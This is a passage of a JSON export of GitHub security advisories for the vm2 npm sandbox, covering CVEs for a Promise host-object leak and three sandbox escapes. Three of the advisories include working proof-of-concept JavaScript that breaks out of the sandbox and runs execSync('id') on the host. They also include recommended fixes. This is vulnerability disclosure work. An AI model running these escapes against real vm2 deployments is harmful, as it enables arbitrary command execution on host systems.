result);\r\nconsole.log(\"HOST SAME KEY STILL:\", wm.get(hostObj));\r\nOutput\r\nVM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }\r\nHOST SAME KEY STILL: HIT\r\n\r\nThis confirms that the object delivered to the sandbox callback retains host identity.\r\n\r\nAdditional Demonstration: Host Object Mutation\r\n\r\nThe sandbox can also mutate host object state through the resolved Promise value.\r\n\r\nimport {VM} from \"./index.js\";\r\n\r\nconst hostObj = {tag: \"HOST_OBJ\", nested: {x: 1}};\r\nconst hostPromise = Promise.resolve(hostObj);\r\n\r\nconst vm = new VM({\r\n  sandbox: {hostPromise},\r\n  timeout: 1000,\r\n  eval: false,\r\n  wasm: false,\r\n});\r\n\r\nconst code = `\r\n  hostPromise.then(v => {\r\n    v.nested.x = 999;\r\n    v.tag = \"MUTATED\";\r\n    return { seenTag: v.tag, seenX: v.nested.x };\r\n  })\r\n`;\r\n\r\nconst result = await vm.run(code);\r\n\r\nconsole.log(\"VM RESULT:\", result);\r\nconsole.log(\"HOST AFTER:\", hostObj);\r\n\r\n**Output:**\r\nVM RESULT: { seenTag: 'MUTATED', seenX: 999 }\r\nHOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }\r\n\r\nThis demonstrates write-through mutation of a host object from sandbox code.\r\n\r\n**Impact**\r\nThis vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.\r\n\r\nConsequences include:\r\n\r\nHost object identity disclosure\r\n\r\nWrite-through mutation of host objects\r\n\r\nWeakMap / WeakSet identity oracle across the boundary\r\n\r\nPotential capability leaks if sensitive host objects are reachable via Promises\r\n\r\nApplications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.\r\n\r\nThis weakens the intended isolation guarantees of vm2.","severity":"medium","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-mpf8-4hx2-7cjg","type":"GHSA"},{"value":"CVE-2026-44000","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:34Z","published_at":"2026-05-01T20:44:26Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"fasrm","type":"reporter"}],"credits_detailed":[{"user":{"login":"fasrm","id":120403457,"node_id":"U_kgDOBy02AQ","avatar_url":"https://avatars.githubusercontent.com/u/120403457?v=4","gravatar_id":"","url":"https://api.github.com/users/fasrm","html_url":"https://github.com/fasrm","followers_url":"https://api.github.com/users/fasrm/followers","following_url":"https://api.github.com/users/fasrm/following{/other_user}","gists_url":"https://api.github.com/users/fasrm/gists{/gist_id}","starred_url":"https://api.github.com/users/fasrm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fasrm/subscriptions","organizations_url":"https://api.github.com/users/fasrm/orgs","repos_url":"https://api.github.com/users/fasrm/repos","events_url":"https://api.github.com/users/fasrm/events{/privacy}","received_events_url":"https://api.github.com/users/fasrm/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5}},{"ghsa_id":"GHSA-947f-4v7f-x2v8","cve_id":"CVE-2026-43999","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-947f-4v7f-x2v8","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8","summary":"NodeVM builtin allowlist bypass via `module` builtin's `Module._load` allows sandbox escape","description":"## Summary\r\nNodeVM's `builtin` allowlist can be bypassed when the `module` builtin is allowed (including via the `'*'` wildcard). The `module` builtin exposes Node's `Module._load()`, which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like `child_process` and achieve remote code execution.\r\n\r\n## Severity\r\n**Critical** (CVSS 3.1: 9.9)\r\n\r\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\r\n\r\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\r\n- **Attack Complexity:** Low — no special conditions required; `['*', '-child_process']` is a common, documented pattern\r\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\r\n- **User Interaction:** None\r\n- **Scope:** Changed — escape from sandbox boundary to host system\r\n- **Confidentiality Impact:** High — arbitrary command execution on the host\r\n- **Integrity Impact:** High — arbitrary command execution on the host\r\n- **Availability Impact:** High — arbitrary command execution on the host\r\n\r\n## Affected Component\r\n- `lib/builtin.js` — `makeBuiltinsFromLegacyOptions()` (lines 109-117) — includes `module` in `'*'` expansion\r\n- `lib/builtin.js` — `addDefaultBuiltin()` (lines 86-90) — loads `module` with generic readonly wrapper\r\n- `lib/builtin.js` — `SPECIAL_MODULES` (line 61) — does NOT include `module`\r\n\r\n## CWE\r\n- **CWE-863**: Incorrect Authorization\r\n\r\n## Description\r\n\r\n### Root Cause: The `module` builtin provides unrestricted host module loading\r\n\r\nWhen `builtin: ['*', '-child_process']` is configured, `makeBuiltinsFromLegacyOptions` iterates over `BUILTIN_MODULES` and adds all modules not explicitly excluded:\r\n\r\n```js\r\n// lib/builtin.js:40\r\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\r\n    .filter(s=>!s.startsWith('internal/'));\r\n\r\n// lib/builtin.js:109-117\r\nif (Array.isArray(builtins)) {\r\n    const def = builtins.indexOf('*') >= 0;\r\n    if (def) {\r\n        for (let i = 0; i < BUILTIN_MODULES.length; i++) {\r\n            const name = BUILTIN_MODULES[i];\r\n            if (builtins.indexOf(`-${name}`) === -1) {\r\n                addDefaultBuiltin(res, name, hostRequire);\r\n            }\r\n        }\r\n    }\r\n```\r\n\r\nNode's `builtinModules` includes `'module'` (verified: `require('module').builtinModules.includes('module')` → `true`). Since only `'-child_process'` is excluded, `'module'` passes the filter and gets added.\r\n\r\nThe `module` builtin is NOT in `SPECIAL_MODULES` (which only covers `events`, `buffer`, `util`), so it gets the generic loader:\r\n\r\n```js\r\n// lib/builtin.js:86-90\r\nfunction addDefaultBuiltin(builtins, key, hostRequire) {\r\n    if (builtins.has(key)) return;\r\n    const special = SPECIAL_MODULES[key];\r\n    builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));\r\n}\r\n```\r\n\r\nThis wraps Node's `Module` class in a readonly proxy and hands it to the sandbox.\r\n\r\n### The readonly proxy does not prevent method calls\r\n\r\n`ReadOnlyHandler` (bridge.js:940-983) only overrides mutation traps: `set`, `setPrototypeOf`, `defineProperty`, `deleteProperty`, `isExtensible`, `preventExtensions`. It does NOT override `get` or `apply`, which are inherited from `BaseHandler`.\r\n\r\n`BaseHandler.apply()` (bridge.js:665-677) forwards function calls directly to the host context:\r\n\r\n```js\r\napply(target, context, args) {\r\n    const object = getHandlerObject(this);\r\n    let ret;\r\n    try {\r\n        context = otherFromThis(context);\r\n        args = otherFromThisArguments(args);\r\n        ret = otherReflectApply(object, context, args);\r\n    } catch (e) {\r\n        throw thisFromOtherForThrow(e);\r\n    }\r\n    return thisFromOther(ret);\r\n}\r\n```\r\n\r\nSo `Module._load('child_process')` is forwarded to Node's native `Module._load` in the host context, which loads `child_process` without any vm2 allowlist check.\r\n\r\n### Inconsistent defense: some builtins are isolated, `module` is not\r\n\r\nThe codebase IS aware that certain builtins need special handling:\r\n\r\n- `events`: Gets a complete sandbox-native reimplementation via `lib/events.js`\r\n- `buffer`: Custom loader that only exposes the `Buffer` class\r\n- `util`: Custom loader that replaces `inherits` with a sandbox-safe version\r\n\r\nBut `module` — which provides access to the host's entire module loading infrastructure via `Module._load`, `Module._resolveFilename`, etc. — gets no special treatment at all.\r\n\r\n### Full execution chain\r\n\r\n1. Host configures `NodeVM` with `builtin: ['*', '-child_process']`\r\n2. `makeBuiltinsFromLegacyOptions` adds `'module'` to allowed builtins (not excluded)\r\n3. Sandbox code calls `require('module')` → resolver finds `'module'` in builtins → `loadBuiltinModule('module')`\r\n4. Loader calls `vm.readonly(hostRequire('module'))` → returns readonly proxy of Node's `Module` class\r\n5. Sandbox reads `Module._load` → `BaseHandler.get()` returns proxied function\r\n6. Sandbox calls `Module._load('child_process')` → `BaseHandler.apply()` forwards to host\r\n7. Host's `Module._load` loads `child_process` natively (no vm2 check involved)\r\n8. `child_process` module proxied back to sandbox\r\n9. Sandbox calls `child_process.execSync('id')` → executes on host → RCE\r\n\r\n## Proof of Concept\r\n\r\n```js\r\nconst { NodeVM } = require('vm2');\r\n\r\n// Developer thinks child_process is blocked\r\nconst vm = new NodeVM({\r\n  require: {\r\n    builtin: ['*', '-child_process'],\r\n    external: false,\r\n  },\r\n});\r\n\r\nconst out = vm.run(`\r\n  const Module = require('module');\r\n  // Module._load bypasses vm2's builtin allowlist entirely\r\n  const cp = Module._load('child_process');\r\n  module.exports = cp.execSync('id').toString();\r\n`, 'poc.js');\r\n\r\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\r\n```\r\n\r\n## Impact\r\n- **Complete builtin allowlist bypass**: Any configuration that allows the `module` builtin (including `['*', '-X']` patterns) can load ANY builtin, including explicitly excluded ones.\r\n- **Remote code execution**: Sandboxed code can execute arbitrary commands on the host via `child_process.execSync`.\r\n- **Common configuration affected**: The `['*', '-child_process', '-fs']` pattern is documented and widely used by developers who want \"all builtins except dangerous ones.\"\r\n- **No special conditions**: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the `'*'` wildcard.\r\n- **Additional attack surfaces via `module`**: Beyond `_load`, the `Module` class also exposes `_resolveFilename`, `_cache`, `_pathCache`, and other internals that could be abused.\r\n\r\n## Recommended Remediation\r\n\r\n### Option 1: Exclude `module` from `BUILTIN_MODULES` entirely (Preferred)\r\n\r\nThe `module` builtin provides unrestricted host module loading and should never be exposed to the sandbox:\r\n\r\n```js\r\n// lib/builtin.js:40\r\nconst DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);\r\n\r\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\r\n    .filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));\r\n```\r\n\r\nThis prevents `module` from being included even with the `'*'` wildcard. Consider also blocking `worker_threads` and `cluster` which can spawn processes.\r\n\r\n### Option 2: Add `module` to `SPECIAL_MODULES` with a safe wrapper\r\n\r\nIf `module` must be accessible, provide a sandbox-safe version that only exposes safe APIs:\r\n\r\n```js\r\n// lib/builtin.js\r\nconst SPECIAL_MODULES = {\r\n    events: { /* ... existing ... */ },\r\n    buffer: defaultBuiltinLoaderBuffer,\r\n    util: defaultBuiltinLoaderUtil,\r\n    module: function defaultBuiltinLoaderModule(vm) {\r\n        // Only expose safe, read-only metadata — no _load, no _resolveFilename\r\n        return vm.readonly({\r\n            builtinModules: [...nmod.builtinModules],\r\n            // Omit _load, _resolveFilename, _cache, createRequire, etc.\r\n        });\r\n    }\r\n};\r\n```\r\n\r\n**Tradeoff**: Breaks sandbox code that legitimately uses `Module` APIs, but those APIs are inherently unsafe in a sandbox context.\r\n\r\n## Credit\r\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\r\n\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-947f-4v7f-x2v8","type":"GHSA"},{"value":"CVE-2026-43999","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:32Z","published_at":"2026-05-01T20:43:02Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"v3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"bugbunny-research","type":"reporter"}],"credits_detailed":[{"user":{"login":"bugbunny-research","id":262839898,"node_id":"U_kgDOD6qeWg","avatar_url":"https://avatars.githubusercontent.com/u/262839898?v=4","gravatar_id":"","url":"https://api.github.com/users/bugbunny-research","html_url":"https://github.com/bugbunny-research","followers_url":"https://api.github.com/users/bugbunny-research/followers","following_url":"https://api.github.com/users/bugbunny-research/following{/other_user}","gists_url":"https://api.github.com/users/bugbunny-research/gists{/gist_id}","starred_url":"https://api.github.com/users/bugbunny-research/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bugbunny-research/subscriptions","organizations_url":"https://api.github.com/users/bugbunny-research/orgs","repos_url":"https://api.github.com/users/bugbunny-research/repos","events_url":"https://api.github.com/users/bugbunny-research/events{/privacy}","received_events_url":"https://api.github.com/users/bugbunny-research/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9}},{"ghsa_id":"GHSA-cp6g-6699-wx9c","cve_id":"CVE-2026-43998","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-cp6g-6699-wx9c","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c","summary":"NodeVM require.root bypass via symlink traversal allows sandbox escape","description":"## Summary\r\nNodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.\r\n\r\n## Severity\r\n**High** (CVSS 3.1: 8.5)\r\n\r\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`\r\n\r\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\r\n- **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments\r\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\r\n- **User Interaction:** None\r\n- **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system\r\n- **Confidentiality Impact:** High — arbitrary file read via host command execution\r\n- **Integrity Impact:** High — arbitrary command execution on the host\r\n- **Availability Impact:** High — arbitrary command execution on the host\r\n\r\n## Affected Component\r\n- `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60)\r\n- `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66)\r\n- `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10)\r\n\r\n## CWE\r\n- **CWE-59**: Improper Link Resolution Before File Access\r\n\r\n## Description\r\n\r\n### Root Cause: Check/Use Path Discrepancy\r\n\r\nThe `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:\r\n\r\n```js\r\n// lib/resolver-compat.js:53-60\r\nisPathAllowed(filename) {\r\n    return this.rootPaths === undefined || this.rootPaths.some(path => {\r\n        if (!filename.startsWith(path)) return false;\r\n        const len = path.length;\r\n        if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;\r\n        return this.fs.isSeparator(filename[len]);\r\n    });\r\n}\r\n```\r\n\r\nThe filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`:\r\n\r\n```js\r\n// lib/filesystem.js:8-10\r\nresolve(path) {\r\n    return pa.resolve(path);\r\n}\r\n```\r\n\r\n`path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check.\r\n\r\nHowever, the actual module loading uses Node's native `require()`, which **does** follow symlinks:\r\n\r\n```js\r\n// lib/resolver-compat.js:62-66\r\nloadJS(vm, mod, filename) {\r\n    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\r\n    const m = this.hostRequire(filename);\r\n    mod.exports = vm.readonly(m);\r\n}\r\n```\r\n\r\n### No Symlink Defenses Exist\r\n\r\nA search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:\r\n\r\n```js\r\n// lib/resolver-compat.js:218\r\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;\r\n```\r\n\r\n### Full Execution Chain\r\n\r\n1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }`\r\n2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces)\r\n3. Sandbox code calls `require('safe')`\r\n4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js`\r\n5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed)\r\n6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES**\r\n7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)`\r\n8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js`\r\n9. Module executes in host realm; exports proxied to sandbox\r\n10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`)\r\n\r\n## Proof of Concept\r\n\r\n```js\r\nconst path = require('path');\r\nconst fs = require('fs');\r\nconst os = require('os');\r\nconst { NodeVM } = require('vm2');\r\n\r\n// Create an \"allowed\" root directory\r\nconst root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));\r\nfs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });\r\n\r\n// Symlink inside root pointing to vm2 package outside root\r\n// In real deployments: pnpm, npm link, workspaces create these automatically\r\nconst link = path.join(root, 'node_modules', 'safe');\r\nfs.symlinkSync(path.resolve(__dirname), link, 'dir');\r\n\r\nconst vm = new NodeVM({\r\n  require: {\r\n    external: ['safe'],\r\n    root,\r\n    context: 'host',\r\n    builtin: [],       // no builtins allowed\r\n  },\r\n});\r\n\r\n// Sandbox code loads vm2 from outside root via symlink,\r\n// creates a privileged inner NodeVM to get child_process\r\nconst out = vm.run(`\r\n  const { NodeVM } = require('safe');\r\n  const inner = new NodeVM({ require: { builtin: ['child_process'] } });\r\n  module.exports = inner.run(\r\n    \"module.exports = require('child_process').execSync('id').toString()\",\r\n    'inner.js'\r\n  );\r\n`, path.join(root, 'vm.js'));\r\n\r\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\r\n```\r\n\r\n## Impact\r\n- **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.\r\n- **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.\r\n- **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.\r\n- **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation.\r\n- **Silent failure**: No error or warning is raised when a symlink traverses outside the root.\r\n\r\n## Recommended Remediation\r\n\r\n### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred)\r\n\r\nResolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:\r\n\r\n```js\r\n// lib/filesystem.js — add a realpath method\r\nconst fs = require('fs');\r\n\r\nclass DefaultFileSystem {\r\n    resolve(path) {\r\n        return pa.resolve(path);\r\n    }\r\n\r\n    realpath(path) {\r\n        return fs.realpathSync(path);\r\n    }\r\n    // ... rest unchanged\r\n}\r\n```\r\n\r\n```js\r\n// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it\r\nisPathAllowed(filename) {\r\n    let realFilename;\r\n    try {\r\n        realFilename = this.fs.realpath(filename);\r\n    } catch (e) {\r\n        return false; // file doesn't exist or can't be resolved\r\n    }\r\n    return this.rootPaths === undefined || this.rootPaths.some(path => {\r\n        if (!realFilename.startsWith(path)) return false;\r\n        const len = path.length;\r\n        if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;\r\n        return this.fs.isSeparator(realFilename[len]);\r\n    });\r\n}\r\n```\r\n\r\nAlso dereference root paths at construction time:\r\n\r\n```js\r\n// lib/resolver-compat.js:218\r\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {\r\n    const resolved = fsOpt.resolve(f);\r\n    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }\r\n}) : undefined;\r\n```\r\n\r\n**Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead.\r\n\r\n### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess`\r\n\r\nAdd a realpath check at the enforcement point in `Resolver.makeExtensionHandler`:\r\n\r\n```js\r\nmakeExtensionHandler(vm, name) {\r\n    return (mod, filename) => {\r\n        filename = this.fs.resolve(filename);\r\n        // Dereference symlinks before access check\r\n        try {\r\n            const realFilename = fs.realpathSync(filename);\r\n            if (realFilename !== filename) {\r\n                // Filename was a symlink — validate the real path too\r\n                this.checkAccess(mod, realFilename);\r\n            }\r\n        } catch (e) {\r\n            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');\r\n        }\r\n        this.checkAccess(mod, filename);\r\n        this[name](vm, mod, filename);\r\n    };\r\n}\r\n```\r\n\r\n**Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`.\r\n\r\n## Credit\r\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\r\n\r\n","severity":"high","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-cp6g-6699-wx9c","type":"GHSA"},{"value":"CVE-2026-43998","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:27Z","published_at":"2026-05-01T20:45:09Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"v3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"bugbunny-research","type":"reporter"}],"credits_detailed":[{"user":{"login":"bugbunny-research","id":262839898,"node_id":"U_kgDOD6qeWg","avatar_url":"https://avatars.githubusercontent.com/u/262839898?v=4","gravatar_id":"","url":"https://api.github.com/users/bugbunny-research","html_url":"https://github.com/bugbunny-research","followers_url":"https://api.github.com/users/bugbunny-research/followers","following_url":"https://api.github.com/users/bugbunny-research/following{/other_user}","gists_url":"https://api.github.com/users/bugbunny-research/gists{/gist_id}","starred_url":"https://api.github.com/users/bugbunny-research/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bugbunny-research/subscriptions","organizations_url":"https://api.github.com/users/bugbunny-research/orgs","repos_url":"https://api.github.com/users/bugbunny-research/repos","events_url":"https://api.github.com/users/bugbunny-research/events{/privacy}","received_events_url":"https://api.github.com/users/bugbunny-research/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.5}},{"ghsa_id":"GHSA-qcp4-v2jj-fjx8","cve_id":"CVE-2026-44006","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-qcp4-v2jj-fjx8","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8","summary":"Sandbox Escape","description":"### Summary\r\n\r\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\r\n\r\n### Details\r\n\r\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\r\n\r\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\r\n\r\n### PoC\r\n```js\r\nlet obj = {\r\n\tsubarray: Buffer.prototype.inspect,\r\n\tslice: Buffer.prototype.slice,\r\n\thexSlice: () => '',\r\n};\r\n\r\nlet sym;\r\n\r\nobj.slice(10, {\r\n\tshowHidden: true,\r\n\tshowProxy: true,\r\n\tdepth: 10,\r\n\tstylize(a) {\r\n\t\tconst handler = this.seen && this.seen[1];\r\n\r\n\t\tif (handler && handler.getPrototypeOf) {\r\n\t\t\tgP = handler.getPrototypeOf;\r\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\r\n\t\t\tHObject = HObjectProto.constructor;\r\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\r\n\t\t}\r\n\t\treturn a;\r\n\t},\r\n});\r\n\r\nobj = {\r\n\t[sym]: (depth, opt, inspect) => {\r\n\t\tinspect.constructor('return process')()\r\n\t\t.getBuiltinModule('child_process')\r\n\t\t.execSync('id', { stdio: 'inherit' });\r\n\t},\r\n\tvalueOf: undefined,\r\n\tconstructor: undefined,\r\n};\r\n\r\nWebAssembly.compileStreaming(obj).catch(() => {});\r\n```\r\n\r\n### Impact\r\nSandbox Escape -> RCE","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-qcp4-v2jj-fjx8","type":"GHSA"},{"value":"CVE-2026-44006","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:58Z","published_at":"2026-05-01T20:40:54Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 